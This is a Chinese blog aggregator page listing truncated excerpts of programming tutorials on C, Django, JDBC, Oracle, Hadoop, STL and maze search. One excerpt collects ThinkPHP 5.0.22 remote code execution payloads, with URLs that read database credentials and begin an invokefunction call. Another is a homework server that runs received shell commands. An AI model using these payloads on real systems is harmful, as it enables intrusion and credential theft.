C零基础视频-28-C标准库中常见的字符串操作函数

目录 字符串的特殊性 字符串比较 获取字符串长度 复制字符串 连接字符串 字符串的特殊性 字符串不是基本数据类型。因此,像操作基本数据类型那样操作,可能会失败: #include <stdio.h> int main(int argc, char* argv[]) { char* szHello = "Hello"; char chAry[] = "Hello"; printf("%s, %s\r\n", szHello, chAry); if (szHell
分类: 其他 发布时间: 10-17 22:50 阅读次数: 0

django开发:前后端不分离,开发个人博客

这里举例用的是一个搭建好的html框架。 结构如下图 一、把这个模板下的所有.html文件放到templats下,只放html的文件 这时只打开这些Html是没有样式的,因为css js 都没有调用。后边说css、js调用 二、写逻辑 在views.py中,默认引入了 from django.shortcuts import render 写方法: def index(requset): #requset默认参数,必须写 return render(requset,'index.
分类: 其他 发布时间: 10-17 22:50 阅读次数: 0

Thinkphp远程代码执行 payload汇总

Thinkphp 5.0.22 http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function
分类: 其他 发布时间: 10-17 22:50 阅读次数: 0

SCADA系统构架的安全分析总结

概念: SCADA 数据采集与监控 Supervisory Control And Data Acquisition .包括了计算机设备 工业控制组件 网络 组成部件 ,SCADA 系统被用于控制分散的设备。这些系统和废水收集系统,石油天然气管道,电网传输和分配系统,铁路等公交交通系统。 图 典型的SCADA系统结构 系统即就是数据采集及监控系统,他是工业控制网络调度自动化系统的基础和核心,SCADA负责采集和处理工控系统运行中的各种实时和非实时数据,是工业控制网络调度中心各种应用软件的主要数
分类: 其他 发布时间: 10-17 22:50 阅读次数: 0

关于几类STL容器swap的复杂度问题

\(swap\)的方式有 \(S1.swap(S2)\) 或 \(swap(S1,S2)\) \(vector,map,set,deque \ \ \ \ swap\)复杂度:\(O(1)\) \(priority\_queue,queue,stack\ \ \ \ swap\)复杂度:\(O(n)\) 特别要注意以上三种容器!!千万别在考场上写 但是在开启\(c++11\)的情况下这三种容器\(swap\)的复杂度可以做到\(O(1)\)
分类: 其他 发布时间: 10-17 22:50 阅读次数: 0

C零基础视频-29-对于字符串的sizeof与strlen的区别

[TOC] #sizeof与strlen的不同表现 看程序说结果: #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) { char* szHello = "Hello"; printf("%d\r\n", sizeof(szHello)); printf("%d\r\n", sizeof("Hello")); printf("%d\r\n", strlen(szHel
分类: 其他 发布时间: 10-17 22:50 阅读次数: 0

十六:使用JDBC对数据库进行CRUD

一、statement对象介绍     Jdbc中的statement对象用于向数据库发送SQL语句,想完成对数据库的增删改查,只需要通过这个对象向数据库发送增删改查语句即可。   Statement对象的executeUpdate方法,用于向数据库发送增、删、改的sql语句,executeUpdate执行完后,将会返回一个整数(即增删改语句导致了数据库几行数据发生了变化)。   Statement.executeQuery方法用于向数据库发送查询语句,executeQuery方法返回代表查询
分类: 其他 发布时间: 10-17 22:50 阅读次数: 0

C零基础视频-30-二维数组的定义与使用

目录 二维数组的定义 二维数组的初始化 二维数组的引用 二维数组的定义 type 数组名[行][列] 二维数组的初始化 全部初始化为0: char chAry[2][3] = { 0 }; 全部初始化为特定值: char chAry[2][3] = { 0x00, 0x01, 0x02, 0x10, 0x11, 0x12 }; 或者区分行: char chAry[2][3] = { { 0x00, 0x01, 0x02, }, { 0x10, 0x11,
分类: 其他 发布时间: 10-17 22:50 阅读次数: 0

oracle数据库基本语句

DEPT表结构: EMP表结构: --创建表空间 create tablespace itheima --指定数据文件位置 datafile 'C:\itheima.dbf' --指定大小 size 100m autoextend on next 10m; --删除表空间 --drop tablespace itheima --创建用户 create user itheima identified by itheima default tablespace itheima; drop user
分类: 其他 发布时间: 10-17 22:50 阅读次数: 0

大数据是什么?

许多人对于大数据是什么、大数据有什么用比较陌生,那么小编今天给大家讲讲大数据。一、大数据的理解大数据是指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合,是需要新处理模式才能具有更强的决策力、洞察发现力和流程优化能力的海量、高增长率和多样化的信息资产,大数据需要特殊的技术,以有效地处理大量的容忍经过时间内的数据。适用于大数据的技术,包括大规模并行处理数据库、数据挖掘、分布式文件系统
分类: 企业开发 发布时间: 10-17 22:50 阅读次数: 0

10.17作业

1.TCP三次握手、四次挥手图 2.基于TCP开发一款远程CMD程序 客户端连接服务器后,可以向服务器发送命令 服务器收到命令后执行,无论执行是否成功,无论执行几遍,都将执行结果返回给客户端 注意: 执行系统指令使用subprocess模块完成. #服务端 import socket import subprocess server=socket.socket() server.bind( ('127.0.0.1',8899) ) server.listen(5) while Tr
分类: 其他 发布时间: 10-17 22:34 阅读次数: 0

时间序列的特征

1
分类: 其他 发布时间: 10-17 22:34 阅读次数: 0

动手动脑(10.14)

一、 public class Test{ public static void main(String[] args) { Fool obj1=new Foo(); } } class Foo{ int value; public Foo(int initValue){ value=initValue; } } 以上代码无法通过编译,是因为类Foo是有参的,所以在引用的时候缺少参数。 结论:如果类提供了一个自定义的构造方法,将导致系统不再
分类: 其他 发布时间: 10-17 22:34 阅读次数: 0

python学习9—文件操作

python学习9—文件操作 1. 文件基本操作 打开文件,获得文件句柄:f = open('filename',encoding='utf-8'),open会查询操作系统的编码方式,并按照该编码方式读取文件,若文件使用utf-8编码,则打开需指定编码 通过句柄对文件操作:data = f.read() 关闭文件:f.close() 2. 文件操作模式 r,只读模式,不可写,f = open('filename','r',encoding='utf-8') f.readable()判断文件是否
分类: 其他 发布时间: 10-17 22:34 阅读次数: 0

软件逆向必读

学习逆向没有Silver bullet,技术在更新,你也需要不断的学习,但是大致上有些基础的东西是需要学习的. 需要看的书籍: 1.Intel 微处理器. 2.Windows环境下32位汇编语言程序设计 3.WindowsPE权威指南 4.C++反汇编与逆向分析技术揭秘 5.加密与解密第三版 6.IDA Pro权威指南 需要掌握的工具: 静态反汇编工具: IDA Pro/hooper(一般) 动态反汇编工具: ollydbg/x64dbg Windows内核调试工具: windbg 看这些书的
分类: 其他 发布时间: 10-17 22:34 阅读次数: 0

【QT】资料集锦

1. Github上的一些高分Qt开源项目【多图】 https://www.cnblogs.com/pyw0818/p/8044295.html 2.如何让QT程序以管理员权限运行(UAC) https://www.cnblogs.com/pyw0818/p/8013176.html 3. QT5资料集锦 https://www.cnblogs.com/pyw0818/p/qt5.html
分类: 其他 发布时间: 10-17 22:34 阅读次数: 0

CLR的垃圾回收机制 (一)

CLR的垃圾回收机制 (一) 从这节开始就涉及CLR 最有意思的地方了,也是CLR 思想的核心部分,比较难理解,要反复思考才能有收获。这节是我对CLR的垃圾回收的整理,应用程序是如何构造新对象,托管堆如何控制这些对象的生存期,以及回收这些对象的内存。本节的内容主要还是参考CLR via C# 这本书,还有就是蒋金楠的博文。 我们先大致了解一下CLR 中的资源概念、以及资源的生存周期 CLR的垃圾回收机制用于清理废弃的资源,这些资源例如文件、网络连接、socket、数据库连接、内存等。在面向对象
分类: 其他 发布时间: 10-17 22:34 阅读次数: 0

windows如何使用git打包版本差异文件

提前:版本仓库需要放在盘根目录文件夹下面 加入上个版本已经提交,当前开发版本需要增量发布,需要把本次改动的代码打包发布 新建当前开发版本,提交。 点击show log,查看版本提交信息 找到上个版本和当前版本的版本id 使用git bash窗口 使用命令 git diff c148d55632e2981c48e205a59a9419f260836e1d b7d9616c175286327d6476627e3194058a0d1816 --name-only | xargs tar -zcvf
分类: 其他 发布时间: 10-17 22:34 阅读次数: 0

[转帖]hadoop学习笔记:hadoop文件系统浅析 hadoop学习笔记:hadoop文件系统浅析

hadoop学习笔记:hadoop文件系统浅析 https://www.cnblogs.com/sharpxiajun/archive/2013/06/15/3137765.html 1.什么是分布式文件系统? 管理网络中跨多台计算机存储的文件系统称为分布式文件系统。 2.为什么需要分布式文件系统了? 原因很简单,当数据集的大小超过一台独立物理计算机的存储能力时候,就有必要对它进行分区(partition)并存储到若干台单独计算机上。 3.分布式系统比传统的文件的系统更加复杂 因为分布式文件系
分类: 其他 发布时间: 10-17 22:34 阅读次数: 0

深度优先搜索(DFS)和广度优先搜索(BFS)求解迷宫问题

用下面这个简单的迷宫图作为例子: OXXXXXXX OOOOOXXX XOXXOOOX XOXXOXXO XOXXXXXX XOXXOOOX XOOOOXOO XXXXXXXO O为通路,X为障碍物。 深度优先搜索就像是一条路走到黑,走到黑,黑了再回来。有种递归的感觉。 深度优先搜索(DFS) 1 #include<iostream> 2 using namespace std; 3 4 char a1[] = {'O','X','X','X','X','X','
分类: 其他 发布时间: 10-17 22:34 阅读次数: 0